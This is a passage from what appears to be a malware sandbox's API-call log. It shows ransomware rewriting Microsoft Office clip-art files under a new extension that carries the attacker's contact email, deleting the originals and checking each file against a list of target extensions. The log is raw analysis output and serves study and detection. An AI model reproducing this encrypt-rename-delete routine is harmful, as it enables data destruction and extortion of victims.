dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0258.798] GetLastError () returned 0x0 [0258.798] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xa38, lpOverlapped=0x0) returned 1 [0258.838] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa40, lpOverlapped=0x0) returned 1 [0258.859] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0258.859] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0258.859] SetEndOfFile (hFile=0x45c) returned 1 [0258.860] CloseHandle (hObject=0x45c) returned 1 [0258.860] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.860] SetEndOfFile (hFile=0x42c) returned 1 [0258.889] CloseHandle (hObject=0x42c) returned 1 [0258.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.927] lstrlenW (lpString=".doc") returned 4 [0258.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString=".docx") returned 5 [0258.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.927] lstrlenW (lpString=".pdf") returned 4 [0258.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString=".xls") returned 4 [0258.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.927] lstrlenW (lpString=".xlsx") returned 5 [0258.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.927] lstrlenW (lpString=".ppt") returned 4 [0258.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString=".zip") returned 4 [0258.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.928] lstrlenW (lpString=".rar") returned 4 [0258.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.928] lstrlenW (lpString=".bz2") returned 4 [0258.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.928] lstrlenW (lpString=".7z") returned 3 [0258.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString=".dbf") returned 4 [0258.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString=".1cd") returned 4 [0258.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString=".jpg") returned 4 [0258.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.928] lstrlenW (lpString=".doc") returned 4 [0258.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.929] lstrlenW (lpString=".docx") returned 5 [0258.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.929] lstrlenW (lpString=".pdf") returned 4 [0258.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.929] lstrlenW (lpString=".xls") returned 4 [0258.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.929] lstrlenW (lpString=".xlsx") returned 5 [0258.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.929] lstrlenW (lpString=".ppt") returned 4 [0258.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.929] lstrlenW (lpString=".zip") returned 4 [0258.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.929] lstrlenW (lpString=".rar") returned 4 [0258.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.929] lstrlenW (lpString=".bz2") returned 4 [0258.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.929] lstrlenW (lpString=".7z") returned 3 [0258.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.929] lstrlenW (lpString=".dbf") returned 4 [0258.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.930] lstrlenW (lpString=".1cd") returned 4 [0258.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0258.930] lstrlenW (lpString=".jpg") returned 4 [0258.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.930] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.930] lstrlenW (lpString="HH02166_.WMF") returned 12 [0258.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0259.486] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1324) returned 1 [0259.486] CloseHandle (hObject=0x4c8) returned 1 [0259.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0259.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0260.200] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.200] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0260.385] GetLastError () returned 0x0 [0260.385] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x52c, lpOverlapped=0x0) returned 1 [0260.392] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x530, lpOverlapped=0x0) returned 1 [0260.393] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0260.393] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0260.393] SetEndOfFile (hFile=0x3f4) returned 1 [0260.394] CloseHandle (hObject=0x3f4) returned 1 [0260.394] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.394] SetEndOfFile (hFile=0x488) returned 1 [0260.398] CloseHandle (hObject=0x488) returned 1 [0260.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0260.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.400] lstrlenW (lpString=".doc") returned 4 [0260.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.400] lstrlenW (lpString=".docx") returned 5 [0260.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.400] lstrlenW (lpString=".pdf") returned 4 [0260.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.400] lstrlenW (lpString=".xls") returned 4 [0260.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.401] lstrlenW (lpString=".xlsx") returned 5 [0260.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.401] lstrlenW (lpString=".ppt") returned 4 [0260.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.401] lstrlenW (lpString=".zip") returned 4 [0260.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.401] lstrlenW (lpString=".rar") returned 4 [0260.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString=".bz2") returned 4 [0260.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString=".7z") returned 3 [0260.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.401] lstrlenW (lpString=".dbf") returned 4 [0260.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.401] lstrlenW (lpString=".1cd") returned 4 [0260.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.401] lstrlenW (lpString=".jpg") returned 4 [0260.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.402] lstrlenW (lpString=".doc") returned 4 [0260.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".docx") returned 5 [0260.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.402] lstrlenW (lpString=".pdf") returned 4 [0260.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".xls") returned 4 [0260.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.402] lstrlenW (lpString=".xlsx") returned 5 [0260.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.402] lstrlenW (lpString=".ppt") returned 4 [0260.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.402] lstrlenW (lpString=".zip") returned 4 [0260.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.402] lstrlenW (lpString=".rar") returned 4 [0260.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".bz2") returned 4 [0260.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".7z") returned 3 [0260.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.402] lstrlenW (lpString=".dbf") returned 4 [0260.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.402] lstrlenW (lpString=".1cd") returned 4 [0260.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0260.403] lstrlenW (lpString=".jpg") returned 4 [0260.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.403] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.403] lstrlenW (lpString="HH02313_.WMF") returned 12 [0260.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0260.404] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3082) returned 1 [0260.404] CloseHandle (hObject=0x488) returned 1 [0260.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0260.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0260.405] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.405] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0260.407] GetLastError () returned 0x0 [0260.407] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xc0a, lpOverlapped=0x0) returned 1 [0260.423] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xc10, lpOverlapped=0x0) returned 1 [0260.424] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0260.424] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0260.424] SetEndOfFile (hFile=0x3f4) returned 1 [0260.425] CloseHandle (hObject=0x3f4) returned 1 [0260.425] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.425] SetEndOfFile (hFile=0x488) returned 1 [0260.429] CloseHandle (hObject=0x488) returned 1 [0260.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0260.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.431] lstrlenW (lpString=".doc") returned 4 [0260.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.431] lstrlenW (lpString=".docx") returned 5 [0260.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.432] lstrlenW (lpString=".pdf") returned 4 [0260.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.432] lstrlenW (lpString=".xls") returned 4 [0260.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.432] lstrlenW (lpString=".xlsx") returned 5 [0260.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.432] lstrlenW (lpString=".ppt") returned 4 [0260.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.432] lstrlenW (lpString=".zip") returned 4 [0260.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.432] lstrlenW (lpString=".rar") returned 4 [0260.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.432] lstrlenW (lpString=".bz2") returned 4 [0260.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.432] lstrlenW (lpString=".7z") returned 3 [0260.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.432] lstrlenW (lpString=".dbf") returned 4 [0260.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.433] lstrlenW (lpString=".1cd") returned 4 [0260.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.433] lstrlenW (lpString=".jpg") returned 4 [0260.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.433] lstrlenW (lpString=".doc") returned 4 [0260.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.433] lstrlenW (lpString=".docx") returned 5 [0260.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.433] lstrlenW (lpString=".pdf") returned 4 [0260.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.433] lstrlenW (lpString=".xls") returned 4 [0260.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.433] lstrlenW (lpString=".xlsx") returned 5 [0260.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.433] lstrlenW (lpString=".ppt") returned 4 [0260.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.434] lstrlenW (lpString=".zip") returned 4 [0260.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.434] lstrlenW (lpString=".rar") returned 4 [0260.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.434] lstrlenW (lpString=".bz2") returned 4 [0260.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.434] lstrlenW (lpString=".7z") returned 3 [0260.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.434] lstrlenW (lpString=".dbf") returned 4 [0260.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.434] lstrlenW (lpString=".1cd") returned 4 [0260.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0260.434] lstrlenW (lpString=".jpg") returned 4 [0260.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.434] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.435] lstrlenW (lpString="HM00114_.WMF") returned 12 [0260.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0260.437] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=22116) returned 1 [0260.437] CloseHandle (hObject=0x488) returned 1 [0260.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0260.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0260.438] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.438] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0260.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0260.623] GetLastError () returned 0x0 [0260.623] ReadFile 